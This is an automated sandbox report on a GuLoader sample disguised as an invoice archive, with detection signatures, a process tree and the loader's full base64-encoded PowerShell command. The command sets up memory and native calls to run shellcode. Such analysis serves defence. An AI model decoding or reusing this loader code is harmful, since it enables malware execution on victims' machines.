Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
WWVN_INVOICE_8363567453.lzh

Overview

General Information

Sample Name:WWVN_INVOICE_8363567453.lzh
Analysis ID:623395
MD5:1492683d46a38dc3af26589b486d55ab
SHA1:d7dd2f48e26ca1683643f5671d5a5b7a26da73e0
SHA256:8e55ce0d37045fc2d93dde800ae6fea90c6c71d29c5b28837a61d749d5a7810f
Infos:

Detection

GuLoader
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
C2 URLs / IPs found in malware configuration
Potential malicious VBS script found (has network functionality)
Encrypted powershell cmdline option found
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Queries the volume information (name, serial number etc) of a device
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Detected potential crypto function
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges

Classification

  • System is w10x64
  • unarchiver.exe (PID: 6912 cmdline: C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Desktop\WWVN_INVOICE_8363567453.lzh MD5: F737DE1D0C50E20064ACCB6647B50F6C)
    • 7za.exe (PID: 6936 cmdline: C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\jgrsfdcl.bp3" "C:\Users\user\Desktop\WWVN_INVOICE_8363567453.lzh MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)
      • conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 5812 cmdline: cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jgrsfdcl.bp3\WWVN_INVOICE_8363567453.vbs MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 1280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • wscript.exe (PID: 3688 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jgrsfdcl.bp3\WWVN_INVOICE_8363567453.vbs" MD5: 7075DD7B9BE8807FCA93ACD86F724884)
        • powershell.exe (PID: 6284 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbgBkAGUAcgBmAGkAYQB1ACAAVABhAGwAbAB3AG8AbwA1ACAAdgBpAG4AbwBsAG8AZwBpAHMAdAAgAEwATwBZAEEATABFACAAVgBhAGwAZQByAGkANAAgAGwAYQB2AGkAbgAgAEIAYQBhAHIAOQAgAGYAbwByAHYAZQBuAHQAZQBsACAATgBvAG4AYwBvAG4AdgAgAA0ACgAjAFAARQBSAFMATwBOAE4AQQBWACAAaQBkAGUAbQBwACAAcwB0AGEAcgB0ACAAYwBoAG8AeQBhAGkAbgB0AGkAIABsAG8AeABpAGMAdAAgAEgAZQBzAHQAZQBiAHIAZQAxACAARgBvAGUAbABlAGIAYQBsACAATQBvAGkAcwAgAEwAYQBsAGwAZQB0ACAATwBiAGUAbABpAHMAawAzACAAZAByAGkAawBrACAATABhAG4AYQBzAHIAIAANAAoAIwBiAGUAcwB0AHIAYQBhAGwAaQBuACAAUwBUAFIATQBQAEUASAAgAFYARQBEAEwAIABNAHkAZQBsAG8AIABEAGkAcwBoACAAQQBjAGMAZQBwAHQAMQAgAFUAbgBwAGwAMwAgAEEAUgBCAEUASgBEAFMATABTAEgAIABBAG4AbQBlAGwAZABlAGwAcwBlACAAUwBLAE8AVgBIAFkAVABUAEUAIABwAHIAcwB0AGUAcwBrAGEAYgAgAFAAdQBiAGwAaQBjAGkAcwA4ACAAVQBtAGkAbgBkAGUAbAA0ACAADQAKACMAcwBwAG8AcgB0AHMAbQBhACAARABrAG4AaQBuAGcAcwBzADQAIABEAGUAcABvAHMAaQAxACAAcgBlAGcAbgBpAG4AZwBzAGYAdQAgAHMAdQBzAHAAZQAgAEQAZQBiAGEAIAByAGUAcQB1AGkAcgAgAFMAYQBsAHQAcwB0AGUAbgBtADEAIABSAEQARQBQAEEATgBHAEkAIAANAAoAIwBTAGUAbAB2AG0AbwBkAHMAaQBnACAAUwBVAEIARAAgAGsAdgBrAHMAZgBpAG4AZwBlACAAQQBuAG8AbQAgAHQAaABhAGkAbABuAGQAZQAgAE8AbgBkAHUAIABuAG8AbgBwACAAVwBJAE4ARABCACAAYQB0AG8AbQB2AGEAYQBiAG4AZQAgAEMAaABpAGUAIABzAHUAYgBjAGgAbwByAG8AaQAgAFMAVABVAFAASABFAEYATwBLACAASQBtAGIAcgB1AGUAbQAgAEUAcgBuAHIAaQBuAGcAcwBmAHkAIABEAHIAbwBvAHAAcwBiADEAIABwAHIAYQBpAHMAZQBmAHUAbABuACAASQBOAEcARQBOACAATwB2AGUAcgAgAEgAbwBkAHMAIABPAHYAZQByAGgAYQB1AGwAZQA4ACAAdwBvAG8AZABzACAAdQByAGUAdABoAHIAbwAgAEwAbwBrAGEAbABrACAADQAKACMAUgBVAE4ARwBMAEUAUwBTAEsAIABWAGUAcgBkACAAYwB5AGMAbABvAGQAIABhAGYAZABrAG4AaQBuAGcAIABiAHUAcwBsACAAQQB0AHQAdQBuAGkAbgBnACAAUwBhAG4AaQB0AGkAcwBpACAAUABoAG8AdABvAHMAIABCAG8AcgBlAHAAbABhAHQAZgAgAE0AYQBqAG8AcgAgAEoAVQBNAEIATABFACAAVwBIAEUARQBMAEkATgAgAEwAZQBlAHAAaQB0AGQAcgA2ACAAVQBOAFUAUwBFAEQAIABNAEEARwBOACAAQQBnAHIAYQBmADEAIABBAG0AYgBlAHIAbgA0ACAAQQBuAGQAZQBuAGsAbABhADgAIABKAGEAZwBnAGUAZABuACAAcwBvAGwAaQBkAGEAdABpAG4AZwAgAEEAbgBnAGkAdgBlACAAQgBSAEUAVgBWACAATQBJAFMAVABBAE4ASwBFAFIAIAANAAoAIwBQAGEAbABlAGkAYwBoAHQAaAB5ADYAIABDAGwAbwB3AG4AZQByAGkAIAB0AHIAaQB2AHMAZQBsAHMAcAAgAFAAYQBtAGUANgAgAFQAaQBnAGgAdAB3AGkAIABVAG4AdwBpAGwAOAAgAFAAZQByAGkANAAgAFAAcgBvAGQAdQBrACAARABhAGcAYwBlAG4AdAByACAARwBSAEEATgBVAEwAQQAgAFMAagB1AHMAcwBlAG4AcwByAG8ANQAgAEkAUwBDAEgASQBBAEMAQgBFACAATABlAGUAZgA3ACAADQAKACMAVAByAGUAbQBvAHUAcgBpAG4AdAA1ACAAUwBKAFUAUwBLAEUATQBBAEwAIABEAGoAZQBsAGwAIABNAGkAbABpAHQAcgBsADkAIABHAGwAbwBzAHMAYQBuACAAUgBFAFYASQBFAFcAUwBEACAAUgBFAEUATABQAEUARABBAE4AVAAgAEgAdQBzAGgAbwBsAGQAZQAgAEEATABJAEUATgBBACAARABvAGIAYgBlAGwAdABmAHUAbgAgAFQAZQBhAHQAIABIAGkAbgBkAGUAcgBlACAAUwBrAHkAZAA3ACAAbQB5AGcAZwBlAHMAIABMAHkAbgBsAGEAYQBzAGgAIABQAGEAYQB0AHIAIABGAGEAYgByAGkAawBzADkAIAANAAoAIwBQAEEAQQBUAEUARwBOAEUAUgAgAEQAZQB0AGEAbABqAGUAcgBlAHIAIAB0AGkAZwBnAGUAcgBzAGsAZQAgAEYAaQBsAGUAcwAgAHIAZQB0AHMAbwBwAGcAcgAgAFAATABVAFIAIABKAHUAZwBlAG4AZABtAG4AcwB0ACAAVQBkAGIAdQA1ACAASABlAGEAdgB5AGgAIABtAGkAbABpACAAbQBlAGwAbwBkACAAYQBmAGwAYQBkAG4AaQBuACAADQAKACMAYQBmAHQAdgAgAGEAYQBuAGQAZQB2AGUAIABiAHIAbwBkAHkAYQBnAGEAcwAgAHQAZQBsAGUAbwBjAGUAcgBhAHMAIABPAEMAVABBAFYATwBLACAAWgBhAHIAegB1ADMAIABJAE4ARABTACAAVABXAEkAUwBDACAAUwBLAE8AVgBTAEwATwAgAFQAbwB3AG4AbABhAG4AZABsAHkAIAANAAoAIwBQAFIASQBTACAARwByAHUAcwB2AGUAagBlADkAIABVAG4AbQBhAHIAYgBsAGUAaQB6ACAAQQBMAEsATwBIAE8ATAAgAEQARQBWAEkAQQBUAEkATwBOACAASABvAG0AYQB0AG8AIABDAHIAZQBhAHQAaQAgAFMAdABvAGIAcwBiADcAIABhAG4AZgBsAGoAZQBuACAARgBvAHIAZQB0AGEAZwBlAG4AIABQAHIAbwB0ACAAVQBQAEwARQBBAFAARQBEACAAZABpAG0AcABsAGUAbQBlACAAZwBlAHIAdABoAGEAcwBoAGEAIABTAFQATwBSAEsARQBOAEIAQgAgAA0ACgAjAEEAcwBzAHUAcgBhAGIAbAAgAE0AZQB0AGEAZgBvAHIAZQByAG4AIABJAEgAVQBLAE8ATQBQACAAWAB5AGwAbwBjADgAIABTAHQAYQBuAGQAYQByACAASABhAG4AZABsAGkAbgBnAHMAbAAgAFAAZQB3AGYAdQBsAGIAbABvADIAIABNAGkAcwB0AG4AMwAgAE8AWQBTAFQARQBSACAARABlAHQAYQBpAGwAcAByACAAcgBlAGYAbwByACAAUgBJAEcAUwBSAEUAVgBJACAAYwBsAG8AZgBpAGIAIABLAE4ASQBDACAAQgByAG4AZQBsAG8AawBrACAARABlAG0AbwBuAHQAZQByADgAIAB0AGEAcgB2ACAAcwBsAGcAZQByAHMAdAAgAFUATgBEAEUAUgAgAA0ACgAjAFMAYQBuAHMAZQB2AGUAOQAgAEkAcgByAGUAcwBwACAAQgBJAFIAQwBIAEUAIABNAGUAZwBhACAARABhAGcAbABuAHMAcwBhADIAIABLAFkAUwBUACAAUwB0AG8AbQBhAHQAbwBsAG8AIABBAHQAdAB5ACAAcgB1AHQAaQBuAGUAcwBzACAAcABpAGMAYQBtAGEAcgAgAGwAYQBjAGMAaQBjAGgAZQAgAEIAWQBHAEcARQBNAFkATgAgAGcAcgBpAG0AYQBzACAAaQBuAHQAcgB1ACAAbQBhAHIAcQAgAGoAYQByAGQAbwBuAG4AIABjAGgAbwBsAG8AcwAgAE0ATwBSAEIASQAgAFMAQQBWAEEARwBFAFMAUwAgAFIASQBEAEUASABFAFMAVABFAFMAIABTAHQAZQBtAG0AZQByAGUAdABzADUAIAByAGUAdgBpACAAQgBhAHMAdABpAGwAbAA4ACAAQgBlAGQAYQAgAFMAQwBVAFIAUgBJAEUAIABVAE0ARQBEAEcAUgAgAEsAeQBsAGkAbgAgAHUAbgBmAGkAIABzAGwAaQBwACAAUABSAEUASABFAE4AUwAgAA0ACgAjAEEAbgBkAGUAbgBrAGwAYQBzAHMAIABkAGUAbQBhACAAUwBDAEkATABMAEEARQBSACAAYgBsAHIAZQBoAGEAIABSAG8AbgBpAG4AZwA4ACAAQwBVAEUATQBBAE4AUwBIAEkAIABLAGEAcwBlAHIAbgAgAFIAdQBmAGcAYQByAGQAaQBuACAAcAByAGEAbgBnAGUAbgAgAFUAUwBQAEUAQwBJAEYASQAgAFMAdQBiAGwAaQBtACAASwBFAFIATgBFAE8AUAAgAEEAcgBpAGQAIABiAHIAbgBlAGYAZAAgAA0ACgAjAEsAYQBmAGYAZQBnACAAQgBvAG8AbgBkAG8AZwBnAGwAZQAgAE4AbwBzAHQAIABSAGkAZgBsAGUAdAB0AG8AcgA3ACAAUwBVAFIARwBFAEwARQBTAFMAIABJAGQAcgB0AHMAaABqAHMAawAyACAAcgBlAHMAZQByAHYAYQB0AGkAbwAgAGsAaQBzAHMAZQAgAGcAYQB5AGwAdQBzAHMAaQB0ACAAYQB0AG8AbQBhAGYAZgBhAGwAZAAgAFIAQQBHAEUATwBVAFMAIABCAHUAdABpAGsAcwBkAHIAaQAgAG8AcABkAGEAdABlACAASABvAHIAbgBiAHIAaQA0ACAAQwBvAG4AcwBhAG4ANwAgAE0ATABLAEUASwAgAEkAbwBkAGkAZABwAGgAaQBsADYAIABJAGQAZQBhAGwAaQBzAG0AZQA0ACAARgBsAGEAZwBlACAASQBuAHYAbwBsAHYAZQByAHMANAAgAHUAbABuAGEAYQBuAGkAIABSAGsAZQBuAHUAbgAgAGwAaQBtAGUAbABpACAAYQBhAHIAcgBpACAAbQBhAGQAZABvAHgAdQBkAHYAIABIAGUAbABoAGUAcwB0AGUAbgBhACAAUABvAHMAdAB1AGwAZQByADEAIABCAGUAegBlAGwAcwBjACAAQgBsAGkAbgAgAA0ACgAjAEMAYQBzAHQAZQByADYAIAB2AGEAbgBkACAAYwBoAGEAZQBuAG8AIABTAHEAdQBhAHQAdAA1ACAASABJAEcASABMACAAQwBvAG4AYwBoAGEAZQAgAFAAYQByAHQAIABEAEUASwBMACAAcwB1AGIAcwBpAGQAZQAgAHUAbgBkAGUAIABmAGEAdQBuAGUAcgBhACAAcwBwAHIAZQBhACAAUABBAEMASQBGAEkAQwBBACAARgBKAEUATgBEAFQATABJACAAYwBlAHAAaABhAGwAbwB0AGgAbwAgAFMARQBSAFIAQQBUAEkATwAgAFMAZQByAGIAaQBzAGsAZQBsADgAIAANAAoAIwBGAEwATABFAFMAQQBOACAAQQByAGEAZwBvAHIAbgB1AG4AYQAgAGUAbgBzAHIAZQB0AHQAZQBkAGUAIABNAHkAZQBsACAAcwB1AHAAZQByAHMAZQB4AGUAIABBAGcAZwByAGEAdgBlAHIAZQAgAHQAaQBtAGUAbABvAGYAIABzAGkAbQBlAG8AbgBiAGUAdgBpACAAUABSAEUATwBQAEUATgBJAE4AIABzAG0AZQBsAHQAZQAgAGoAZQBsAGwAeQBmAGkAcwBoAGEAIABHAGUAcgByAGEAIABQAG8AaQB0AHIAYQBpAGwAbwAgAA0ACgAjAFgAZQBuAG8AZwBsAG8AcwAgAE8AdQB0AG4AIAByAGUAdgBpAHMAbwByAGYAIABWAEEAQQBCAEUATgBGAEEAIABSAHUAbQBzAGsAaQBiAGUAcgAxACAAQQB0AHQAZQBzAHQAZQA5ACAASABhAGEAbgBkAGgAdgBlAGwAcwA4ACAARABJAFAATABPAE0AIABTAEkATABFAE4AQQBMACAATwBhAGsAeQBzAGwAagBkADQAIABMAGEAdABlAG4AcwAgAG0AZgBnAGcAcgB1AG4AIABrAGEAcgB0AG8AdABlAGsAcwBvACAADQAKACMAZQBzAHQAbwAgAFQAYQBsAG0AIABUAHUAYQByAGUAZwAyACAAQgBsAG8AawBmAHUAbgBrAHQAaQAxACAARgBvAHIAbABhACAAVAByAGEAbgAxACAAQQByAGIAZQBqAGQAIABOAG8AbgBjAG8AIABzAGkAZwB0AGUAbQBlAGwAcwBvACAARwBhAGwAdgBhAG4AaQAgAEYAbwBkAGUAcgBmAGEAIABSAGUAcwBlAGMAdAA1ACAADQAKACMARQB0AGEAcABlAGwAYgBlAHQAIABCAGEAYwBrAGYAaQBzAGMAOAAgAE0AWQBMAEQAUgBFACAATQBhAGwAYwA4ACAAZwBhAG0AbQBpAGMAawB1ACAARQBnAG0AdQBuAHQAdgBhACAASABLAEEAUwAgAFUAbgBpAHIAbwBuAGkAYwA1ACAAVABpAGwAYgBhAGcAZQBzAGsAIABGAEkAUgBFAE8ARwBUAFkAVgAgAFMAdABlAGEAZABpAGUAcwB0ACAAUgBnAHQAZQBuAGQAZQBzADQAIABTAGsAdgBhAGQAcgBvAG4AZQAgAEIAcgBlAGkAcwBsAGEAawBpACAADQAKACMAVgBJAFIASwBTAE8ATQBIACAARwB1AGUAcgA4ACAATQBBAE4AQwBIAEUAIABBAGMAYwBvAG0AbQBvAGQAYQB0ACAAUwBlAG0AaQB2AGUAcgB0AGkANwAgAE4AQQBJAFYAIABMAG8AZwBvAGcAIABTAFAASQBEAFMARwAgAGcAawBhAG4AdABsACAAdAB1AGcAcgBpAGsAcwBwAHIAIABjAGgAYQBtACAAUwB5AHMAdABlAG0AYgBlADUAIABCAFIATwBOAFoARQBGACAADQAKACMAUgB1AG0AcABsAGUAbABhAHMAIABEAEEATgBTAEUATQBVAFMARQAgAE0ARQBTAE8AUgBSAEgAIABVAE4ARABJAFMAQwBPAFYARQAgAFQAaQBkAHQAYQBnAGUAcgBlAHIAIABUAHkAcABvAHMAcwB0AG8ANwAgAEIAUgBPAEsAQQBEAEUAUgBTAFIAIABNAHkAbwBzAG8AdAAgAHIAaQBkAGkAYwB1AGwAbwB1ACAAQgB1AGcAdAAgAHMAbABhAG4AdABlACAAagBvAGwAbABpAGUAZABhAG4AdAAgAE8ATQBEAEkAUgBJAEcARQBSACAARABlAHQAcgBvAG4AaQBzACAARgBhAGQAZAAzACAARAByAGkAawBrACAASwBSAEEARwBFAEYAVQBHACAAUABTAEUAVQBEAE8AQQBNAEEAIABTAFkARABEACAAVQBOAEQARQBUAFIASQBNAEUAIAB0AGEAbQBsAHUAbgBnAHMAdQAgAGwAZQBvAG4AYQByAGQAbwB1ACAATwBwAGwAcgAgAGcAZQBtAGkAbgBhAHQAIABGAHIAdQBnAHQAaAA1ACAATQBFAFQAQQAgAFYAQQBOAEQATABCACAAVQBOAFQASABPACAAbQBpAHMAcgBlAGYAZQByAHIAZQAgAEsAaABhAGwANgAgAFMAdQBrAHIAaQBuAGcAZQAgAHYAZwB0AGkAZwAgAA0ACgANAAoADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAAYwBoAG8AbgBkAHIAbwBnAGEAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAZwBkAGkAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBGAG8AbgB0AHMAQQAoAHMAdAByAGkAbgBnACAAUgB1AGMAdABpAG8AdQAsAHUAaQBuAHQAIABNAHUAcwBrAGkAbAB5ADcALABpAG4AdAAgAEQAZQBiAGkANwAsAGkAbgB0ACAAYwBoAG8AbgBkAHIAbwBnAGEAMAAsAGkAbgB0ACAARgBhAHIAbQBhAGsALABpAG4AdAAgAFEAdQBpAG4AcQB1AGUAdgBlACwAaQBuAHQAIABTAEwARwBUACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAEMAcgBlAGEAdABlAEYAaQBsAGUAQQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQBhAGMAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABTAHQAcgApAF0AcwB0AHIAaQBuAGcAIABSAHUAYwB0AGkAbwB1ACwAdQBpAG4AdAAgAE0AdQBzAGsAaQBsAHkANwAsAGkAbgB0ACAARABlAGIAaQA3ACwAaQBuAHQAIABjAGgAbwBuAGQAcgBvAGcAYQAwACwAaQBuAHQAIABGAGEAcgBtAGEAawAsAGkAbgB0ACAAUQB1AGkAbgBxAHUAZQB2AGUALABpAG4AdAAgAFMATABHAFQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAGMAaABvAG4AZAByAG8AZwBhADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAEMAbABhAHQAaAByAGEANAAsAGkAbgB0ACAAVgBhAHIAZQBkAGUAawBsAGEALAByAGUAZgAgAEkAbgB0ADMAMgAgAGMAaABvAG4AZAByAG8AZwBhACwAaQBuAHQAIABPAHUAdABoAG8AdwBsAGkAbgBnADUALABpAG4AdAAgAGMAaABvAG4AZAByAG8AZwBhADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBLAEUAUgBOAEUATAAzADIAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIAUgBlAGEAZABGAGkAbABlACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAQwBEAEEAQwAoAGkAbgB0ACAAVgBhAHIAZQBkAGUAawBsAGEAMAAsAHUAaQBuAHQAIABWAGEAcgBlAGQAZQBrAGwAYQAxACwASQBuAHQAUAB0AHIAIABWAGEAcgBlAGQAZQBrAGwAYQAyACwAcgBlAGYAIABJAG4AdAAzADIAIABWAGEAcgBlAGQAZQBrAGwAYQAzACwAaQBuAHQAIABWAGEAcgBlAGQAZQBrAGwAYQA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAVQBTAEUAUgAzADIAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABFAG4AdQBtAFcAaQBuAGQAbwB3AHMAKABJAG4AdABQAHQAcgAgAFYAYQByAGUAZABlAGsAbABhADUALABpAG4AdAAgAFYAYQByAGUAZABlAGsAbABhADYAKQA7AA0ACgANAAoAfQANAAoAIgBAAA0ACgAjAFIAZQBtAG8AcAA4ACAARABSAFQAUgBJAE4ARQBUAEkATgAgAFIAZQB0AHIAZQA0ACAAVABqAGUAcgByAGkAbAAgAFUAcgBzAGsAbwB2AHMAbQByACAARQB4AGkAbABpAGMAbQB5AHMAdAA2ACAASQBsAGQAcwBwAHkAZQBuAGQAZQAgAEIAYQBrAHQAIABNAEUATABJAE8AUgBBACAAcwByAHYAZQByAGkAIABBAHUAZwB1AHIAZQByACAADQAKACQAYwBoAG8AbgBkAHIAbwBnAGEAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwASABlAHQAZQByAG8AMwAuAGQAYQB0ACIADQAKACMAcABvAHMAdABwACAATQBvAG4AbwB0AG8AbgBlAHIAZQAgAFMASQBHAE4ASQBGACAAVABpAGQAcwBrAHIAYQAgAEwARQBGAFQASQAgAFIARQBGAE8AUgBNAFAATABBAE4AIABLAGwAYQBnADUAIABSAG8AdABhAG0AYQBuACAASQBuAGQAaQB2ACAAUgBvAHQAdABlAGYAbgBnAGUAIABUAGUAcgByAGkAdABvAHIAaQAyACAAWABZAEwATwBDAE8AUABBAFAAIABnAG8AZwB5AGQAZQAgAE0AaQBjAHIAbwBiAGUAcAAgAA0ACgAkAGMAaABvAG4AZAByAG8AZwBhADMAPQAwADsADQAKACQAYwBoAG8AbgBkAHIAbwBnAGEAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABjAGgAbwBuAGQAcgBvAGcAYQA4AD0AWwBjAGgAbwBuAGQAcgBvAGcAYQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAGMAaABvAG4AZAByAG8AZwBhADMALAAwACwAWwByAGUAZgBdACQAYwBoAG8AbgBkAHIAbwBnAGEAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAEsAQQBSAFQATwAgAEMAaABpAGwAIABlAHMAcAByAGkAdABpAG4AcwB0ACAAUwBIAFIASQBMAEwASQBOACAAQgBPAFAATABTACAAQwByAHkAcAB0AG8AIABVAGsAcgBsAGkAZwBzAHQAZQAxACAATQBlAGwAbwB0AHIAYQAgAFMAVQBQAFAAUgBFAFMASQBWAEUAIABDAGgAZQBmACAAUgBvAHMAZQB2AGkAbgBlADUAIA